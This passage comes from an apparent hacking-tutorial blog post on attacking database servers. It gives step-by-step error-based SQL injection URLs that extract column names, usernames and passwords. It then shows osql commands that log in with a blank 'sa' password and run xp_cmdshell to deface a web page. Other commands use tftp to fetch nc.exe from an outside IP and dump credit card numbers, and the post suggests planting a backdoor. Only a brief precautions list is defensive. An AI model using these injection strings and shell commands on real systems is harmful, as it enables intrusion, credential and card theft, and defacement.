column name will type<br /> <br /> http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')--<br /> <br /> Output:<br /> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br /> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar<br /> value 'login_name' to a column of data type int.<br /> /index.asp, line 5<br /> <br /> So we get one more field name as 'login_name'. To get the third field name we will write<br /> <br /> http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')--<br /> <br /> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br /> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar<br /> value 'passwd' to a column of data type int.<br /> /index.asp, line 5<br /> <br /> Thats it. We ultimately get the 'passwd' field. Now lets get the login names and<br /> passwords from this table "logintable". Type<br /> <br /> http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable--<br /> <br /> Output:<br /> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br /> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar<br /> value 'Rahul' to a column of data type int.<br /> /index.asp, line 5<br /> <br /> Thats the login name "Rahul" and to get the password of Rahul the query would be<br /> <br /> http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable<br /> where login_name='Rahul'--<br /> <br /> Output:<br /> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br /> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar<br /> value 'P455w0rd' to a column of data type int.<br /> /index.asp, line 5<br /> <br /> Voila!! login name: Rahul and password: P455w0rd. You have cracked the database of<br /> www.nosecurity.com And's it was possible to the request of user was not checked properly. SQL<br /> vulnerabilities still exist on many websites. The best solution is to parse the user requests and<br /> filter out some characters as ',",--,:,etc.<br /> <br /> Part II - using port 1434 (SQL Port)<br /> -------------------------------------<br /> <br /> Well uptill now we had seen how to break the database using the malformed URLs But that was done using just port 80 (http port) But this time we would use the port 1434 for hacking. Before that we will see what actually database servers are and how do they work and then how to exploit them !<br /> <br /> The designers of MS sql gave some default stored procedures along with the product to make things flexible to the webdesigners. The procedure is nothing but functions which can used to perform some actions on the arguments passed to them. This procedures are very important to hackers. Some of the important ones are<br /> <br /> sp_passsword -> Changes password for a specific login name.<br /> e.g. EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’<br /> <br /> sp_tables -> Shows all the tables in the current database.<br /> e.g. EXEC sp_tables<br /> <br /> xp_cmdshell -> Runs arbitary command on the machine with administrator privileges. (most imp)<br /> <br /> xp_msver -> Shows the MS SQL server version including the all info about the OS.<br /> e.g. master..xp_msver<br /> <br /> xp_regdeletekey -> Deletes a registry key.<br /> <br /> xp_regdeletevalue ->Delets a registry value<br /> <br /> xp_regread -> Reads a registry value<br /> <br /> xp_regwrite -> Writes a registry key.<br /> <br /> xp_terminate_process -> Stops a process<br /> <br /> Well these are some important procedures. Actually there are more than 50 such types of procedures. If you want your MS SQL server to be protected then I would recommend to delete all of these procedures. The trick is open the Master database using MS SQL Server Enterprise Manager. Now expand the Extended Stored Procedures folder and delete the stored procedure by right click and delete.<br /> <br /> Note: “Masterâ€� is an important database of the SQL server which contains all system information like login names and system stored procedures. So if a hacker deletes this master database then the SQL server will be down for ever. Syslogins is the default system table which contains the usernames and passwords of logins in the database.<br /> <br /> <br /> Most dangerous threat : The Microsoft SQL server has default username “saâ€� with password blank “â€�. And this has ruined lots of MS sql servers in the past. Even a virus regarding this vulnerability had been released.<br /> <br /> Thatz enough. Lets hack now. First we need to find out a vulnerable server. Download a good port scanner (many out there on web ) and scan for ip addresses having port 1433/1434 (tcp or udp) open. This is the MS Sql port which runs the sql service. Oracle’s port no. is 1521. Lets suppose we got a vulnerable server with ip 198.188.178.1 (its just an example so don’t even try it) Now there are many ways to use the SQL service. Like telnet or netcat to port no. 1433/1434. You can also use a tool known as osql.exe which ships with any SQL server 2000. Okz. Now go to dos prompt and type.<br /> <br /> C:>osql.exe -?<br /> osql: unknown option ?<br /> usage: osql [-U login id] [-P password]<br /> [-S server] [-H hostname] [-E trusted connection]<br /> [-d use database name] [-l login timeout] [-t query timeout]<br /> [-h headers] [-s colseparator] [-w columnwidth]<br /> [-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]<br /> [-L list servers] [-c cmdend]<br /> [-q "cmdline query"] [-Q "cmdline query" and exit]<br /> [-n remove numbering] [-m errorlevel]<br /> [-r msgs to stderr] [-V severitylevel]<br /> [-i inputfile] [-o outputfile]<br /> [-p print statistics] [-b On error batch abort]<br /> [-O use Old ISQL behavior disables the following]<br /> batch processing<br /> Auto console width scaling<br /> Wide messages<br /> default errorlevel is -1 vs 1<br /> [-? show syntax summary]<br /> <br /> Well, this displays the help of the osql tool. Its clear from the help what we have to do now. Type<br /> <br /> C:> osql.exe â€"S 198.188.178.1 â€"U sa â€"P “â€�<br /> 1><br /> Thats what we get if we login successfully else we will get an error message as login failed for user “saâ€�<br /> <br /> Now if we want to execute any command on the remote machine then just use the “xp_cmdshellâ€� default stored procedure.<br /> <br /> C:> osql.exe â€"S 198.188.178.1 â€"U sa â€"P “â€� â€"Q “exec master..xp_cmdshell ‘dir >dir.txt’â€�<br /> <br /> I would prefer to use â€"Q option instead of â€"q because it exits after executing the query. In the same manner we can execute any command on the remote machine. We can even upload or download any files on/from the remote machine. A smart attacker will install a backdoor on the machine to gain access to in future also. Now as I had explained earlier we can use the “information_schema.tablesâ€� to get the list of tables and contents of it.<br /> <br /> C:> osql.exe â€"S 198.188.178.1 â€"U sa â€"P “â€� â€"Q “select * from information_schema.tablesâ€�<br /> <br /> And getting table names look for some table like login or accounts or users or something like that which seems to contain some important info like credit card no. etc.<br /> <br /> C:> osql.exe â€"S 198.188.178.1 â€"U sa â€"P “â€� â€"Q “select * from usersâ€�<br /> <br /> And<br /> <br /> C:> osql.exe â€"S 198.188.178.1 â€"U sa â€"P “â€� â€"Q “select username, creditcard, expdate from usersâ€�<br /> <br /> Output:<br /> <br /> Username creditcard expdate<br /> ----------- ------------ ----------<br /> Jack 5935023473209871 2004-10-03 00:00:00.000<br /> Jill 5839203921948323 2004-07-02 00:00:00.000<br /> Micheal 5732009850338493 2004-08-07 00:00:00.000<br /> Ronak 5738203981300410 2004-03-02 00:00:00.000<br /> <br /> Write something in index.html file ?<br /> <br /> C:> osql.exe â€"S 198.188.178.1 â€"U sa â€"P “â€� â€"Q “exec master..xp_cmdshell ‘echo defaced by Chintan > C:inetpubwwwrootindex.html’â€�<br /> <br /> Wanna upload any file on the remote system.<br /> <br /> C:> osql.exe â€"S 198.188.178.1 â€"U sa â€"P “â€� â€"Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:nc.exe’â€�<br /> <br /> And to download any file we can use the PUT request instead of GET Its just because this commands are being executed on the remote machine and not on ours. So if you give the GET request the command will be executed on the remote machine and it will try to get the nc.exe file from our machine to the remote machine.<br /> <br /> Thatz not over. Toolz for hacking the login passwords of Sql servers are easily available on the web. Even many buffer overflows are being discovered which can allow user to gain the complete control of the sytem with administrator privileges. The article is just giving some general issues about database servers.<br /> <br /> Remember the Sapphire worm? Which was released on 25th Jan. The worm which exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP ports.<br /> <br /> Precautionay measures<br /> ---------------------------<br /> <br /> <*> Change the default password for sa.<br /> <*> Delete all the default stored procedures.<br /> <*> Filter out all the characters like ',",--,:,etc.<br /> <*> Keep upto date with patches<br /> <*> Block the ports 1433/1434 MS SQL and 1521 (oracle) ports using firewalls.<br /> <br /> Remember security is not an add-on feature. It depends upon the smartness of administrator. The war between the hacker and administrator will go on and on and on…. The person who is aware with the latest news or bug reports will win the war. Database admins should keep in touch with some sites like</div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6641693640613879327-6824175624919254227?l=www.geekhack.in" width="1" /></div><img height="1" src="http://feeds.feedburner.com/%7Er/blogspot/hIwd/%7E4/wqcKbqeUiMI" width="1" />

Hacking Database Servers | Database Hacking

Hacking Database Servers Databases have been the heart of a commercial website. An attack on the database servers can cause a great moneta...

Continue Reading>>